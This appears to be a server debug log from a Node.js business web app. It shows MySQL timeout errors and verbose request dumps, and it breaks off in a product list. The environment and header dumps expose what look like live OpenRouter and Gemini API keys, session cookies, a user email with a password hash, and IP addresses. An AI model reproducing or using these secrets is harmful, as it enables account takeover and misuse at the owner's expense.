Error: delete from `sessions` where expired < CAST('2026-02-27 08:41:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 08:41:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 11:46:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 11:46:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 12:23:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 12:23:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 12:30:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 12:30:24' as DATETIME)"
}
2026-02-27T12:50:52.295Z server-connect:router Serving templateView /
2026-02-27T12:50:52.297Z server-connect:app Executing action step identify
2026-02-27T12:50:52.297Z server-connect:app options: { provider: 'security' }
2026-02-27T12:50:52.365Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-27T12:50:52.367Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-27T12:50:52.416Z server-connect:output identity: 1
2026-02-27T12:50:52.416Z server-connect:app Executing action step restrict
2026-02-27T12:50:52.416Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-27T12:50:52.416Z server-connect:output restrict: undefined
2026-02-27T12:50:52.417Z server-connect:app Executing action step restrict
2026-02-27T12:50:52.417Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-27T12:50:52.417Z server-connect:output restrict: undefined
2026-02-27T12:50:52.417Z server-connect:router Render template layouts/main
2026-02-27T12:50:52.417Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-28T12:50:52.295Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-27T12:51:25.426Z server-connect:router Serving templateView /
2026-02-27T12:51:25.427Z server-connect:app Executing action step identify
2026-02-27T12:51:25.427Z server-connect:app options: { provider: 'security' }
2026-02-27T12:51:25.427Z server-connect:output identity: 1
2026-02-27T12:51:25.427Z server-connect:app Executing action step restrict
2026-02-27T12:51:25.427Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-27T12:51:25.427Z server-connect:output restrict: undefined
2026-02-27T12:51:25.427Z server-connect:app Executing action step restrict
2026-02-27T12:51:25.427Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-27T12:51:25.428Z server-connect:output restrict: undefined
2026-02-27T12:51:25.428Z server-connect:router Render template layouts/main
2026-02-27T12:51:25.428Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg; your_r_git.sid=s%3Afy-PcuG34zGFxDXRlCcX0SHGw97WuWzN.iFeidVu3hOVBCwVR8toEvPxctBfS3vLoAR4JwlhTlyE',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-28T12:50:52.421Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg; your_r_git.sid=s%3Afy-PcuG34zGFxDXRlCcX0SHGw97WuWzN.iFeidVu3hOVBCwVR8toEvPxctBfS3vLoAR4JwlhTlyE',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-27T12:51:35.375Z server-connect:router Serving templateView /
2026-02-27T12:51:35.375Z server-connect:app Executing action step identify
2026-02-27T12:51:35.375Z server-connect:app options: { provider: 'security' }
2026-02-27T12:51:35.375Z server-connect:output identity: 1
2026-02-27T12:51:35.375Z server-connect:app Executing action step restrict
2026-02-27T12:51:35.375Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-27T12:51:35.376Z server-connect:output restrict: undefined
2026-02-27T12:51:35.376Z server-connect:app Executing action step restrict
2026-02-27T12:51:35.376Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-27T12:51:35.377Z server-connect:output restrict: undefined
2026-02-27T12:51:35.377Z server-connect:router Render template layouts/main
2026-02-27T12:51:35.377Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg; your_r_git.sid=s%3Afy-PcuG34zGFxDXRlCcX0SHGw97WuWzN.iFeidVu3hOVBCwVR8toEvPxctBfS3vLoAR4JwlhTlyE',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-28T12:50:52.421Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg; your_r_git.sid=s%3Afy-PcuG34zGFxDXRlCcX0SHGw97WuWzN.iFeidVu3hOVBCwVR8toEvPxctBfS3vLoAR4JwlhTlyE',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-27T12:52:23.015Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-27T12:52:23.015Z server-connect:app Executing action step identify
2026-02-27T12:52:23.015Z server-connect:app options: { provider: 'security' }
2026-02-27T12:52:23.016Z server-connect:output identity: 1
2026-02-27T12:52:23.016Z server-connect:app Executing action step restrict
2026-02-27T12:52:23.016Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:52:23.017Z server-connect:output restrict: undefined
2026-02-27T12:52:23.017Z server-connect:app Executing action step select
2026-02-27T12:52:23.017Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-27T12:52:23.022Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
